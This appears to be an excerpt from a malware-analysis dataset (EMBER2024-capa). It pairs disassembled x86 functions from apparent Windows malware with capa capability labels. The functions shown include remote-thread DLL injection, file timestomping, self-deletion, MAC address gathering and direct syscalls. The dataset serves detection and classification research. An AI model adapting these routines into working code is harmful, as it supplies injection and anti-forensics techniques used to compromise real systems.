joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014f0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x208
lea eax, [esp + 0x104]
push esi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40151a
xor al, al
pop esi
add esp, 0x208
ret
lea ecx, [esp + 0x108]
push 0x5c
push ecx
call fcn.00402900
add esp, 8
test eax, eax
jne 0x40153a
xor al, al
pop esi
add esp, 0x208
ret
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edx, [esp + 4]
push 0x104
push edx
push 0x40f24c
mov byte [eax], 0
call esi
lea eax, [esp + 4]
lea ecx, [esp + 0x108]
push eax
push ecx
call fcn.00408770
add esp, 8
test eax, eax
jne 0x401577
mov al, 1
pop esi
add esp, 0x208
ret
lea edx, [esp + 4]
push 0x104
push edx
push 0x40f44c
call esi
lea eax, [esp + 4]
lea ecx, [esp + 0x108]
push eax
push ecx
call fcn.00408770
add esp, 8
test eax, eax
sete al
pop esi
add esp, 0x208
ret

Function at 0x4015b0
Capabilities:
Accept command line arguments
Delete file
Query environment variable

Disassembly:
sub esp, 0x22c
push ebx
push esi
push edi
call fcn.004024a0
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push eax
call fcn.00402600
add esp, 4
test al, al
jne 0x401602
mov edi, str.000000000000
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x10]
push ecx
call fcn.00402800
add esp, 4
push 0x2f
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
call fcn.00402940
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
add esp, 8
test esi, esi
je 0x40163d
inc esi
je 0x40163d
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call ebx
call fcn.00401730
test al, al
je 0x40171b
call fcn.00401d10
test al, al
je 0x40171b
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x40167c
lea edx, [esp + 0x30]
push 0x104
push edx
mov byte [esp + 0x14], 1
mov esi, 0x40f54c
push 0x40f3cc
jmp 0x401695
lea eax, [esp + 0x30]
push 0x104
push eax
mov byte [esp + 0x14], 0
mov esi, 0x40f2cc
push 0x40f14c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov edi, dword [esp + 0xc]
push edi
call fcn.004014b0
add esp, 4
test al, al
je 0x40171b
call fcn.004014f0
test al, al
je 0x40171b
push edi
call fcn.00401490
add esp, 4
test al, al
je 0x40171b
mov ecx, dword [0x40e048]
mov edx, dword [esp + 0x23c]
push ecx
push esi
push edx
call fcn.00401f10
add esp, 0xc
test al, al
je 0x40171b
push esi
push 0x40f000
lea eax, [esp + 0x13c]
push str._s_s
push eax
call fcn.004028a2
lea ecx, [esp + 0x144]
push 0
lea edx, [esp + 0x44]
push ecx
push edx
call fcn.00401bf0
add esp, 0x1c
test al, al
jne 0x40171b
lea eax, [esp + 0x134]
push eax
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x22c
ret 0x10
Function at 0x401950
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401a03
push 0x40c340
push str.Kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [esp + 0x10], eax
je 0x401a03
mov ebp, dword [esp + 0x1c]
or ecx, 0xffffffff
mov edi, ebp
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 4
mov edi, ecx
push 0x1000
inc edi
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x4019c9
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
push 0
push edi
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4019f4
mov ecx, dword [esp + 0x10]
push 0
push 0
push ebx
push ecx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
jne 0x401a0c
push 0x8000
push 0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], 0x103
push 0x3e8
call ebp
lea edx, [esp + 0x18]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x401a3b
mov dword [esp + 0x18], 0x103
jmp 0x401a1a
cmp dword [esp + 0x18], 0x103
je 0x401a1a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push 0x8000
push 0
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x401a70
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x514
push ebx
push ebp
push esi
lea eax, [esp + 0x14]
push edi
push eax
lea ecx, [esp + 0x128]
push 0x400
push ecx
call sub.PSAPI.DLL_EnumProcesses
mov eax, dword [0x40c354]
mov edx, dword [str.unknown]
mov ebp, dword [esp + 0x18]
mov dword [esp + 0x24], eax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x28]
mov dword [esp + 0x20], edx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x528]
xor esi, esi
push ecx
shr ebp, 2
call fcn.00402a80
add esp, 4
xor ebx, ebx
test ebp, ebp
jle 0x401bd7
lea edx, [esp + 0x124]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x10]
mov ecx, dword [eax]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x401b46
lea edx, [esp + 0x1c]
lea eax, [esp + 0x14]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
je 0x401b3f
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push 0x104
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x20]
push eax
call fcn.00402a80
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x52c]
test al, al
je 0x401b6c
mov ecx, dword [esp + 0x528]
lea edx, [esp + 0x20]
push ecx
push edx
call fcn.00402a00
add esp, 8
test eax, eax
jne 0x401bc5
jmp 0x401ba4
mov esi, dword [esp + 0x528]
lea eax, [esp + 0x20]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401b9b
test cl, cl
je 0x401b97
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401b9b
add eax, 2
add esi, 2
test cl, cl
jne 0x401b77
xor eax, eax
jmp 0x401ba0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401bc5
mov ecx, dword [esp + 0x10]
inc ebx
add ecx, 4
cmp ebx, ebp
mov dword [esp + 0x10], ecx
jl 0x401adf
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x514
ret
mov eax, dword [esp + ebx*4 + 0x124]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x514
ret
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x514
ret
Function at 0x401d10
Capabilities:
Delete file
Get common file path
Read .ini file

Disassembly:
sub esp, 0x208
lea eax, [esp + 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x401d36
xor al, al
add esp, 0x208
ret
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x401d5a
xor al, al
add esp, 0x208
ret
lea eax, [esp]
push eax
push 0x6f
push 0x40c394
call fcn.00401c90
add esp, 0xc
test al, al
jne 0x401d79
add esp, 0x208
ret
lea ecx, [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push ecx
push 0x80
push 0x40f24c
push str.NULL
push 0x40c388
push 0x40c394
call esi
lea edx, [esp + 4]
push edx
push 0x20
push 0x40f54c
push str.NULL
push 0x40c384
push 0x40c394
call esi
lea eax, [esp + 4]
push eax
push 0x80
push 0x40f1cc
push str.NULL
push 0x40c380
push 0x40c394
call esi
lea ecx, [esp + 4]
push ecx
push 0x40
push 0x40f4cc
push str.NULL
push 0x40c37c
push 0x40c394
call esi
lea edx, [esp + 4]
push edx
push 0x40
push 0x40f50c
push str.NULL
push 0x40c378
push 0x40c394
call esi
lea eax, [esp + 4]
push eax
push 0x80
push 0x40f3cc
push str.NULL
push 0x40c374
push 0x40c394
call esi
lea ecx, [esp + 4]
push ecx
push 0x80
push 0x40f44c
push str.NULL
push 0x40c370
push 0x40c394
call esi
lea edx, [esp + 4]
push edx
push 0x20
push 0x40f2cc
push str.NULL
push 0x40c36c
push 0x40c394
call esi
lea eax, [esp + 4]
push eax
push 0x80
push 0x40f2ec
push str.NULL
push 0x40c368
push 0x40c394
call esi
lea ecx, [esp + 4]
push ecx
push 0x20
push 0x40f36c
push str.NULL
push 0x40c364
push 0x40c394
call esi
lea edx, [esp + 4]
push edx
push 0x80
push 0x40f14c
push str.NULL
push 0x40c360
push 0x40c394
call esi
lea eax, [esp + 4]
push eax
push 0x40
push 0x40f38c
push str.NULL
push 0x40c35c
push 0x40c394
call esi
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov al, 1
pop esi
add esp, 0x208
ret

Function at 0x401f10
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x110]
push esi
push 0x6e
push 0x40c398
call fcn.00401c90
add esp, 0xc
test al, al
jne 0x401f3a
pop esi
add esp, 0x104
ret
lea eax, [esp + 4]
push 0x104
push eax
push 0x40f38c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ecx, [esp + 4]
push esi
push ecx
call fcn.004024e0
push esi
call fcn.004024b0
add esp, 0xc
mov al, 1
pop esi
add esp, 0x104
ret
Function at 0x4024e0
Capabilities:
Query environment variable
Timestomp file

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x250
lea eax, [esp + 0x48]
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
push 0x104
push eax
push ecx
xor bl, bl
call esi
mov eax, dword [esp + 0x268]
lea edx, [esp + 0x15c]
push 0x104
push edx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
lea ecx, [esp + 0x6c]
push 0x80000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4025ea
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4025df
push esi
call ebp
push 0
push 0x80
push 3
push 0
push 1
lea edx, [esp + 0x170]
push 0x40000000
push edx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4025ea
mov edi, dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [esp + 0x28]
lea ecx, [esp + 0x20]
push eax
push ecx
call edi
lea edx, [esp + 0x48]
lea eax, [esp + 0x18]
push edx
push eax
call edi
lea ecx, [esp + 0x38]
lea edx, [esp + 0x10]
push ecx
push edx
call edi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
lea edx, [esp + 0x24]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
je 0x4025df
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov bl, 1
push esi
call ebp
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 0x250
ret
Function at 0x402600
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebp
push esi
push edi
push 0x280
push 0
mov byte [esp + 0x1b], 0
mov dword [esp + 0x1c], 0x280
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call edi
mov ebp, eax
test ebp, ebp
jne 0x40263c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
lea eax, [esp + 0x14]
push eax
push ebp
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402674
push ebp
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esp + 0x14]
push ecx
push 0
call ebx
push eax
call edi
mov ebp, eax
test ebp, ebp
jne 0x402674
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
lea edx, [esp + 0x14]
push edx
push ebp
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4026f1
test ebp, ebp
mov esi, ebp
je 0x40270d
lea edi, [esi + 0x1d8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 7
ja 0x4026aa
mov esi, dword [esi]
test esi, esi
jne 0x40268d
jmp 0x4026eb
mov eax, dword [esi + 0x190]
xor edi, edi
test eax, eax
jbe 0x4026e6
mov ebx, dword [esp + 0x1c]
xor eax, eax
mov al, byte [esi + edi + 0x194]
push eax
push str._.2X
push ebx
call fcn.004028a2
mov eax, dword [esi + 0x190]
add esp, 0xc
inc edi
add ebx, 2
cmp edi, eax
jb 0x4026ba
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov byte [esp + 0x13], 1
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
test ebp, ebp
je 0x402701
push ebp
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [esp + 0x13]
test al, al
jne 0x4027ec
push 0x280
push 0
mov dword [esp + 0x1c], 0x280
call ebx
push eax
call edi
mov ebp, eax
test ebp, ebp
jne 0x402731
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
lea ecx, [esp + 0x14]
push ecx
push ebp
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402769
push ebp
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [esp + 0x14]
push edx
push 0
call ebx
push eax
call edi
mov ebp, eax
test ebp, ebp
jne 0x402769
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
lea eax, [esp + 0x14]
push eax
push ebp
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4027dc
test ebp, ebp
mov esi, ebp
je 0x4027ec
lea edi, [esi + 0x1d8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 7
jbe 0x40279b
mov esi, dword [esi]
test esi, esi
jne 0x40277e
jmp 0x4027dc
mov eax, dword [esi + 0x190]
xor edi, edi
test eax, eax
jbe 0x4027d7
mov ebx, dword [esp + 0x1c]
xor ecx, ecx
mov cl, byte [esi + edi + 0x194]
push ecx
push str._.2X
push ebx
call fcn.004028a2
mov eax, dword [esi + 0x190]
add esp, 0xc
inc edi
add ebx, 2
cmp edi, eax
jb 0x4027ab
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov byte [esp + 0x13], 1
test ebp, ebp
je 0x4027ec
push ebp
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x40655d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40e948
cmp edx, dword [eax]
je 0x40657f
add eax, 8
inc ecx
cmp eax, 0x40e9d8
jl 0x406570
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40e948]
jne 0x4066ad
mov eax, dword [0x40f588]
cmp eax, 1
je 0x406687
test eax, eax
jne 0x4065b0
cmp dword [0x40e078], 1
je 0x406687
cmp edx, 0xfc
je 0x4066ad
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4065e7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00403fe0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00405410
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40662a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00405410
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c7cc
push edi
call fcn.00407590
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00403fe0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403ff0
lea eax, [ebp - 0xa0]
push 0x40c7ac
push eax
call fcn.00403ff0
push dword [esi + 0x40e94c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403ff0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004098d0
add esp, 0x2c
pop edi
jmp 0x4066ad
lea eax, [ebp + 8]
lea esi, [esi + 0x40e94c]
push 0
push eax
push dword [esi]
call fcn.00405410
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0xe90370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xe9038e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xeb9074
push ecx
mov edi, eax
call fcn.00ea4198
mov esi, eax
add esp, 8
test esi, esi
jne 0xe903cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00ea402e
push esi
call fcn.00ea3fb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xe93850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xe938ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xebe720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe938ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00ea41e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xe938ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xebe720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xe9392a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00ea5082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xe93957
mov word [eax], si
add eax, 2
push eax
call fcn.00ea5030
add esp, 4
jmp 0xe93959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xe938ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xe938b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xe93ff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0xe94080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0xe940c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0xeb9458
push ecx
call fcn.00ea41e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.00ea41e1
add esp, 0x10
jmp 0xe940d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.00ea420b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.00ea3dff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.00e94050
mov eax, dword [0xebe728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0xe9413b
push esi
call fcn.00e93fb0
add esp, 4
mov dword [0xebe728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0xe9414c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.00e93ff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0xe97440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0xe974b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0xe9748e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0xe97471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xe9747e
add edx, ecx
cmp ebx, edx
jb 0xe9748a
inc edi
add eax, 0x28
cmp edi, esi
jb 0xe97467
xor ecx, ecx
jmp 0xe974a2
test eax, eax
jne 0xe97492
xor ecx, ecx
jmp 0xe974a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.00e973c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0xe978f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0xe97921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0xe97946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0xe9796e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0xe97993
push ecx
push esi
call fcn.00e974c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret